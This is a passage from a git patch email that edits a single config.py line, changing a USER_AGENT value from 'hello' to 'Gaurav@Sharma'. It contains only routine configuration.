Sharma <59798120+Gaurav2382001@users.noreply.github.com> Date: Sun, 5 Feb 2023 20:26:40 +0530 Subject: [PATCH 15/15] Create config.py --- config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.py b/config.py index bd92e12..c9b15a5 100644 --- a/config.py +++ b/config.py @@ -1 +1 @@ -USER_AGENT = "hello" +USER_AGENT = "Gaurav@Sharma"